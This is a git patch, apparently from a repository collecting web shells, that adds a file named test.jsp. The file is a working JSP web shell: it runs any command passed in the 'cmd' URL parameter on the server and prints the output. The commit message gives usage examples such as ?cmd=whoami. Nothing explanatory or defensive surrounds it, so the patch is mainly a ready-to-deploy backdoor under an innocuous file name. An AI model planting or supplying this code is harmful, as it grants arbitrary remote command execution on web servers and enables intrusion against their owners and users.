From ea7284f287e228d909c62d31fd3cddb22266c288 Mon Sep 17 00:00:00 2001 From: tennc Date: Tue, 5 Apr 2016 14:30:53 +0800 Subject: [PATCH] Create test.jsp usage: http://www.xxx.xxx/test.jsp?cmd=command http://www.xxx.xxx/test.jsp?cmd=whoami --- jsp/test.jsp | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 jsp/test.jsp diff --git a/jsp/test.jsp b/jsp/test.jsp new file mode 100644 index 0000000..761f3dc --- /dev/null +++ b/jsp/test.jsp @@ -0,0 +1,3 @@ +1234<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } +out.println(output);%>